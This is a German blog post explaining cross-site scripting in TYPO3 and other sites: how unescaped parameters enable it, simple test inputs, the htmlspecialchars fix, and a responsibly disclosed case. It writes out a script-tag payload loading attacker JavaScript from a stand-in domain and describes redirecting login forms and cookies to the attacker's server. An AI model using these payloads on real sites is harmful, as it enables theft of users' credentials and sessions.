Dieser Artikel beleuchtet ein sicherheitsrelevantes Thema, denen ich mich in letzter Zeit etwas verstärkt widme. Ich finde diese extrem spannend weil man mit relativ einfachen Mitteln und geringem Zeitaufwand sehr viel erreichen kann.

Gleich zu Beginn sei erwähnt, dass ich einer der Guten bin und es als meine Pflicht sehe, gefundene Lücken zu melden und diese nicht für illegale Aktivitäten ausnütze – mehr dazu später!

Wie funktionierts?

Cross-Site Scripting ist sehr einfach zu verstehen und funktioniert nicht nur auf TYPO3-Seiten. Alles was es dazu braucht ist die falsche Verarbeitung von GET- oder POST-Parametern. Folgende Möglichkeiten sind dabei am ehesten anzutreffen:

• Ein Suchparameter wird direkt auf der Seite wieder ausgegeben, zum Beispiel in Form von „Sie haben nach $_GET[search]“ gesucht“.
• Ein Fomular verarbeitet Daten und falls ein Feld nicht nicht ausgefüllt und das Formular abgeschickt wurde, werden die Parameter wieder in die Felder geschrieben. Beispiel: <input type=“text“ name=“firstname“ value=“$_POST[firstname]“ />

Ob XSS möglich ist, lässt sich bereits sehr einfach rausfinden! Bei Variante 1  muss lediglich irgendein HTML-Code verwendet werden, zum Beispiel

<h1>Test</h1>

und falls das HTML interpretiert wird, ist XSS sehr wahrscheinlich möglich. Für Variante 2 ist es nicht viel komplizierter! Es reicht hier die Eingabe von

„>Test

in das input-Feld. Da der Text als HTML direkt interpretiert wird, wird das Input-Feld zerstört und außerhalb davon steht der Text „Test“.

Wie repariert mans?

Als kurzer Einschub darf in diesem Kapitel natürlich nicht darauf vergessen werden wie XSS in den Fällen vermieden werden kann! Hier reicht bereits ein simples htmlspecialchars() aus!

Wie nützt mans aus?

Was hier verraten wird ist schon lange kein Geheimnis mehr, Suchmaschinen liefern für die Stichwörter „XSS cheat sheet“ unzählige Treffer! Es ist sehr unspannend wenn man die oben genannten Beispiele testet, aber es geht wesentlich spektakulärer, denn man kann noch auf ein mächtiges Mittel zurückgreifen: JavaScript! Alles was es nur braucht ist ein Aufruf von

<script src=“http://www.meinedomain.xx/hack.js„></script>

und es wird das JavaScript vom eigenen Server geladen und ausgeführt. Damit hat man volle Kontrolle über den DOM. Wird auf der Seite ein JS-Framework eingesetzt wirds nochmal einfacher weil man das natürlich mitnützen kann. Hier Beispiele für einige Möglichkeiten:

• Grafiken und Texte der Website werden durch eigene ersetzt (Defacement).
• Interessante Details auf der Seite werden an eine eigene Website weitergeschickt.
• Der Action-Parameter von allen Formularen wird auf eine eigene Domain gesetzt. Damit werden alle Anfragen an den eigenen Webserver geschickt und können dort genützt werden.
• Das Cookie des Users wird an einen eigenen Webserver verschickt
• Einschläußen von Iframes / Werbung

Ein Beispiel aus der Praxis

Erst gestern habe ich auf eine der größten österreichischen Websites eine Möglichkeit für XSS gefunden und dazu ein Proof of Concept gebaut.  Da auf der gleichen Seite auch ein Login verwendet wird, habe ich, wie bereits beschrieben, das Formular so manipuliert dass die Daten alle an meinen Server geschickt werden.

Damit die Lücke genützt werden kann hätte ich lediglich den Link auf eine manipulierte Seite von mir auf Facebook, Twitter & Co verbreiten müssen. Jeder Aufruf hätte einen POST-Request an die ursprüngliche Seite abgesetzt und mein JavaScript eingeschleust. Wenn der User nun seine Daten eingibt, wären diese an meinen Server geschickt worden und der User hätte davon nie etwas mitbekommen.

Mittlerweile ist die Lücke nach meiner Meldung zeitnah geschlossen worden, denn es sollte klar sein, dass man solche Bugs den Verantwortlichen bzw bei TYPO3 an das Security Team meldet!

Zum Abschluss noch eine Frage an die Leserschaft. Sind solche Themen bzw. Berichte aus der Praxis interessant und sollen fortgeführt werden?